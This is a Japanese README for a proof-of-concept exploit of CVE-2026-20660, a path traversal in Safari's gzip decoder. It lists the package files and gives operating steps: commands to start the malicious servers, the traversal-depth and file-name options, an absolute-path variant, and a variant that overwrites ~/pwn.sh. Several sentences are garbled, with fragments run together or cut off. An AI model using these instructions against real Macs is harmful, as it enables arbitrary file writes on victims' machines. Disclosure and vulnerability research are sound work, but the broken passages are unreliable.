
CVE-2026-20660 用のスタンドアロン PoC エクスプロイト: Safari の gzip デコーダーにおけるパストラバーサル。サーバーが悪意のある gzip を配信し、脆弱な macOS 上で任意のファイルを書き込みます。
このフォルダには、以下に対するスタンドアロンの概念実証(PoC)がパッケージされています:
NSGZipDecoder の gzip FNAME を介したパストラバーサルserver.py: トラバーサル深度とターゲット名を設定可能なメイン PoC サーバーserver_overwrite.py: ../../pwn.sh を書き込む特化バリアントREADME.md: 再現メモと操作ログパッチの差分では、-[NSGZipDecoder filenameWithOriginalFilename:] の動作が変更されたことが示されています:
lastPathComponent を適用する。これにより、FNAME 内の ../ などのディレクトリコンポーネントや絶対パスがブロックされます。
HTTP のファイル名がクリーンであっても、エクスプロイトは成功します。
Content-Disposition のファイル名: クリーン(例: report.gz)../../proof.txt)Safari 側のサニタイズ処理は主に HTTP レイヤーのファイル名に適用され、脆弱なフローで NSGZipDecoder が使用する埋め込み gzip FNAME には適用されません。
リポジトリのルートから:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
脆弱な Safari で開く:
http://<server-ip>:8888/
Trigger depth=2 をクリックします。
トリガー後、対象マシンで書き込み結果を確認します:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
上書きバリアントの場合:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
次に、以下を開きます:
http://<server-ip>:9999/
確認:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b: バインドアドレス(デフォルト 0.0.0.0)--port, -p: リッスンポート(デフォルト 8888)--depth, -d: トラバーサル深度(../ の繰り返し回数、デフォルト 2)--name, -n: ターゲット出力ファイル名例:
# write to ~/proof.txt when depth matches runtime directory nesting
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# explicit absolute path test (if resolver permits)
python3 exploit/cve-2026-20660/server.py -p 8888
# then use: /download?depth=0&fname=/tmp/proof.txt
~/Downloads 配下の一時ディレクトリで行われる場合があるため、~/ に脱出するには深度が 2 以上必要になることがよくあります。2、3、4)再テストする。認可されたテスト環境でのみ使用してください。
より詳細な説明については、以下を参照してください: